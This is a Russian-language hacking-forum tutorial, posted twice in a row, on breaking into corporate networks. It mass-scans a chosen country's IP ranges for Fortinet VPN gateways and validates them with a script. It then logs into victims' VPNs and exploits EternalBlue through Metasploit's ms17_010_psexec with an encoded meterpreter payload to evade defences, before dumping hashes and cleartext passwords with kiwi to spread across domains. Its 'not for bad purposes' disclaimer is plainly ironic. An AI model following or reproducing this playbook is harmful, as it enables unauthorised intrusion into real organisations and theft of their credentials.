Дисклеймер
Все что я буду рассказывать в этой статье не должно быть использовано в плохих целях (конечно же )
Настройка Окружения
Прежде чем мы начнем, нам нужно настроить наше окружение а именно все что нам понадобится для взлома.
А именно нам понадобится основная машина на которой должен стоять VPN и зашифрованный диск, также две виртуалки: Кали и Винда 10.
Что дальше ? Нам надо установить наши софты с которыми будем работать, на кали устанавливаем Fortinet VPN.deb, и нам понадобится еще impacket, скачать его можно с гитхаба github.com/SecureAuthCorp/impacket .
Все теперь переходим на виртуалку с виндой и устанавливаем Python, Impacket(надо скопировать в C:/) потом от имени админа открываем командную строку в винде и устанавливаем impacket через скрипт setup.py, в папку импакет надо будет скопировать zerologon exploit (cve-2020-1472-exploit) и все остальное по дефолту устанавливаем а софты переносим на рабочий стол,
А нужно будет установить список программ такие как : Metasploit,Mimic,Fortinet VPN,SoftPerfect Network Scanner, powertool,gmer,TOX,NMAP. Bluekeep Sploit.
Откуда брать материал ?
С тем что надо для работы мы разобрались, но откуда брать сам материал для работы ? Для этого мы можем использовать
инструмент Masscan. Идем на ipdeny.com и берем оттуда зоны страны которую мы хотим просканить, и сканируем эти CIDR
зоны на порт 10443,8443,443 это популярные порты Fortinet. Теперь, заходим в Kali и пишем :
Теперь надо это запустить и скрипт просканирует на валидность адресса которые ранее насканил masscan, и выведет ввиде списка в файле validips.txt, все мы собрали материал для работы теперь можем двигаться дальше.
Начало
И так начнем, заходим в нашу виртуальную машину под виндой и открываем Fortinet VPN CLient, и нажимаем на Конфигурировать VPN.
Там будет что то типо "Новое подключение VPN" и снизу сами сервера и строки для ввода, копируем хост "127.203.123.12 - типо этого" и вставляем в строки 'имя' и удаленный шлюз, порт в соответсвенную ячейку там все понятно, и нажимаем Сохранить. Далее нам предложат ввести логин и пароль для самого VPN вводим соотвественно и нажимаем соеденить. Теперь вы там увидите диапозон, если там написано
23.26.97.0 - 255.255.255.0 то мы будем писать 23.26.97.0 - 23.26.97.255 , а если там в сканере будет два нуля в конце то пишем вместо них 255.255, Далее заходим в SoftPerfect настройки и там выставляем так как снизу на скринах
-------------------------------------------------------------------------------------------------------------------------------------------------------------------
Дальше перейдем к настройке аккаунтов, в программе нажимаем Options и credentials manager, и туда мы будем вписывать наши с вами креды. Если у вас платная версия программы то вам будет доступна функция Integration With Nmap, если есть такая то нажимаем и ставим галочку на SMB Eternal Blue. После сканирования вам будет видны столбцы с девайсами и в конце будет написано Vulnerable.
Эксплуатация с Metasploit
Вобще для эксплуатации нам понадобится metasploit и eternal blue о чем мы говорили раньше, поэтому устанавливаем и запускаем, после запуска вписываем команды
setg LHOST адресс нашего VPN о чем мы говорили раньше когда конфигурировали VPN. setg RHOSTS наши уязвимые адресса через запятую.
Дальше
Жмем enter и если никаких ошибок нету то поздравляю эксплойт сработал успешно, если есть ошибки по типу Acess Denied попробуйте зашифровать нагрузку. Дальше вписываем команды ниже:
Теперь смотрим активные сессии meterptreter через команду sessions. Там могут быть сессии чтобы перейти к одной из них впишите sessions 1, дальше команды
Как понять какие права у нас есть и где ?
Если у вас есть папки с красными отметками везде в каждом домене то тогда у вас есть права админа везде и вы можете делать все что угодно там. Если же нет то у вас в этом домене только базовые права, собственно как и обычно бывает.
Конец
Ну вот и все я рассказал базы как взламывать сетки и надеюсь вам все было понятно, скоро выйдет вторая часть но она уже будет про Zerologon. Всем удачи !
Все что я буду рассказывать в этой статье не должно быть использовано в плохих целях (конечно же )
Настройка Окружения
Прежде чем мы начнем, нам нужно настроить наше окружение а именно все что нам понадобится для взлома.
А именно нам понадобится основная машина на которой должен стоять VPN и зашифрованный диск, также две виртуалки: Кали и Винда 10.
Что дальше ? Нам надо установить наши софты с которыми будем работать, на кали устанавливаем Fortinet VPN.deb, и нам понадобится еще impacket, скачать его можно с гитхаба github.com/SecureAuthCorp/impacket .
Все теперь переходим на виртуалку с виндой и устанавливаем Python, Impacket(надо скопировать в C:/) потом от имени админа открываем командную строку в винде и устанавливаем impacket через скрипт setup.py, в папку импакет надо будет скопировать zerologon exploit (cve-2020-1472-exploit) и все остальное по дефолту устанавливаем а софты переносим на рабочий стол,
А нужно будет установить список программ такие как : Metasploit,Mimic,Fortinet VPN,SoftPerfect Network Scanner, powertool,gmer,TOX,NMAP. Bluekeep Sploit.
Откуда брать материал ?
С тем что надо для работы мы разобрались, но откуда брать сам материал для работы ? Для этого мы можем использовать
инструмент Masscan. Идем на ipdeny.com и берем оттуда зоны страны которую мы хотим просканить, и сканируем эти CIDR
зоны на порт 10443,8443,443 это популярные порты Fortinet. Теперь, заходим в Kali и пишем :
git clone https://github.com/7Elements/Fortigatecd Fortigatepip3 install -r requirements.txtfortigate.py -i masscanresults.txt -o validips.txt -t 10 -c yТеперь надо это запустить и скрипт просканирует на валидность адресса которые ранее насканил masscan, и выведет ввиде списка в файле validips.txt, все мы собрали материал для работы теперь можем двигаться дальше.
Начало
И так начнем, заходим в нашу виртуальную машину под виндой и открываем Fortinet VPN CLient, и нажимаем на Конфигурировать VPN.
Там будет что то типо "Новое подключение VPN" и снизу сами сервера и строки для ввода, копируем хост "127.203.123.12 - типо этого" и вставляем в строки 'имя' и удаленный шлюз, порт в соответсвенную ячейку там все понятно, и нажимаем Сохранить. Далее нам предложат ввести логин и пароль для самого VPN вводим соотвественно и нажимаем соеденить. Теперь вы там увидите диапозон, если там написано
23.26.97.0 - 255.255.255.0 то мы будем писать 23.26.97.0 - 23.26.97.255 , а если там в сканере будет два нуля в конце то пишем вместо них 255.255, Далее заходим в SoftPerfect настройки и там выставляем так как снизу на скринах
Спойлер: SoftPerfect
Не удалось прогрузить медиа
Не удалось прогрузить медиа
Не удалось прогрузить медиа
-------------------------------------------------------------------------------------------------------------------------------------------------------------------
Дальше перейдем к настройке аккаунтов, в программе нажимаем Options и credentials manager, и туда мы будем вписывать наши с вами креды. Если у вас платная версия программы то вам будет доступна функция Integration With Nmap, если есть такая то нажимаем и ставим галочку на SMB Eternal Blue. После сканирования вам будет видны столбцы с девайсами и в конце будет написано Vulnerable.
Эксплуатация с Metasploit
Вобще для эксплуатации нам понадобится metasploit и eternal blue о чем мы говорили раньше, поэтому устанавливаем и запускаем, после запуска вписываем команды
setg LHOST адресс нашего VPN о чем мы говорили раньше когда конфигурировали VPN. setg RHOSTS наши уязвимые адресса через запятую.
Дальше
use exploit/windows/smb/ms17_010_psexec[B]set payload payload/windows/meterpreter/bind_tcp[/B]exploitЖмем enter и если никаких ошибок нету то поздравляю эксплойт сработал успешно, если есть ошибки по типу Acess Denied попробуйте зашифровать нагрузку. Дальше вписываем команды ниже:
set EnableStageEncoding true[B]set StageEncoder x86/shikata_ga_nai[/B][B]set encoder x86/shikata_ga_nai[/B][B]set ExitOnSession false[/B][B]set SessionCommunicationTimeout 0[/B]exploitТеперь смотрим активные сессии meterptreter через команду sessions. Там могут быть сессии чтобы перейти к одной из них впишите sessions 1, дальше команды
getsystem, load kiwi. Теперь командой hashdump получаем список хэшей юзеров и сохраняем в отдельный файл. Дальше мы можем выкачать не зашифрованные пароли из системы командой creds_all, теперь можем расшифровать поулченные хэши md5 дешифратором, также вводим в нашем сканнере выше, креды полученные командой creds_all. Потом нажимаем ок закрываем табло выделяем все адресса и делаем рескан всей сети.Как понять какие права у нас есть и где ?
Если у вас есть папки с красными отметками везде в каждом домене то тогда у вас есть права админа везде и вы можете делать все что угодно там. Если же нет то у вас в этом домене только базовые права, собственно как и обычно бывает.
Конец
Ну вот и все я рассказал базы как взламывать сетки и надеюсь вам все было понятно, скоро выйдет вторая часть но она уже будет про Zerologon. Всем удачи !
👍52
🔥14
😢12
💯14
LIMB